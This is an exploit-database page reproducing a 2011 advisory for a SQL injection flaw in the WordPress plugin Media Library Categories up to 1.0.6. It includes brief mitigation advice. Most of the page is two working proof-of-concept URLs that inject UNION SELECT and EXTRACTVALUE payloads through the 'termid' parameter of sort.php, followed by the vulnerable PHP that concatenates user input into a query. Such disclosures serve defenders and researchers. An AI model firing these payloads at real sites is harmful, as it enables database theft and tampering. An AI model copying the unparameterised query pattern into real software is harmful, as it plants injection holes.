Media Library Categories - exploit.company

vendor:

Media Library Categories

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Media Library Categories

Affected Version From: 1.0.0

Affected Version To: 1.0.6

Patch Exists: YES

Related CWE:

CPE: a:wordpress:media_library_categories:1.0.6

Metasploit:

Other Scripts:

Platforms Tested: WordPress

2011

Media Library Categories <= 1.0.6 SQL Injection Vulnerability

The Media Library Categories plugin version 1.0.6 for WordPress is vulnerable to SQL injection. An attacker can exploit this vulnerability by injecting malicious SQL code through the 'termid' parameter in the 'sort.php' script. The vulnerability allows an attacker to retrieve sensitive information from the database or modify its contents.

Mitigation:

Update to the latest version of the plugin or remove it completely if not needed. Input validation and parameterized queries should be implemented to prevent SQL injection vulnerabilities.

Source

Exploit-DB raw data:

# Exploit Title: Media Library Categories <= 1.0.6 SQL Injection Vulnerability
# Date: 2011-08-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/media-library-categories.1.0.6.zip
# Version: 1.0.6 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/media-library-categories/sort.php?termid=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20

http://www.site.com/wp-content/plugins/media-library-categories/sort.php?termid=1 AND EXTRACTVALUE(1,CONCAT(CHAR(92),@@version))

---------------
Vulnerable code
---------------
$termid=$_GET['termid'];

...

$where = '';
if($termid)
{
    $where .= " && tt.term_id=".$termid;
} 

...

$query =     "SELECT p.*, a.term_order FROM " . $table_prefix . "posts p
            inner join " . $table_prefix . "term_relationships a on a.object_id = p.ID
            inner join " . $table_prefix . "term_taxonomy ttt on ttt.term_taxonomy_id = a.term_taxonomy_id
            inner join " . $table_prefix . "terms tt on ttt.term_id = tt.term_id
            where ttt.taxonomy='media_category' $where order by a.term_order asc;";

$results = mysql_query($query);